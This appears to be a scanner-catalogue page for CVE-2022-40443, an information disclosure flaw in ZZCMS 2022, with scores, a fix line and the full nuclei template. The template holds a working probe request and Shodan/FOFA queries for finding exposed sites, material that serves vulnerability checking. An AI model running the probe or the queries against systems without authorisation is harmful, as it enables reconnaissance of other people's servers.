ZZCMS 2022 - Path Information Disclosure

lowseverity

5.3CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

An absolute path traversal vulnerability in ZZCMS 2022 allows attackers to obtain sensitive information via a crafted GET request.

Impact

An attacker can gain sensitive information about the server's file system.

Fix

Apply the vendor-supplied patch or upgrade to a non-vulnerable version.

How to confirm it

Send: GET {{BaseURL}}//one/siteinfo.php
Positive when: matches /class="titlebig/ AND not contains "暂无信息"

Run it with nuclei: nuclei -id CVE-2022-40443 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-40443

info:
  name: ZZCMS 2022 - Path Information Disclosure
  author: ritikchaddha
  severity: low
  description: |
    An absolute path traversal vulnerability in ZZCMS 2022 allows attackers to obtain sensitive information via a crafted GET request.
  impact: |
    An attacker can gain sensitive information about the server's file system.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://github.com/liong007/ZZCMS/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40443
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-40443
    cwe-id: CWE-22
    epss-score: 0.02695
    epss-percentile: 0.8603
    cpe: cpe:2.3:a:zzcms:zzcms:2022:*:*:*:*:*:*:*
  metadata:
    vendor: zzcms
    product: zzcms
    shodan-query: html:"zzcms"
    fofa-query: body="zzcms"
  tags: cve,cve22,zzcms,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}//one/siteinfo.php"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'class="titlebig'
          - 'zzcms'
          - 'siteinfo[-_]\d+\.html?'
        condition: and

      - type: word
        part: body
        words:
          - '暂无信息'
        negative: true

References

Use this check only on systems you are authorised to test. Where the data comes from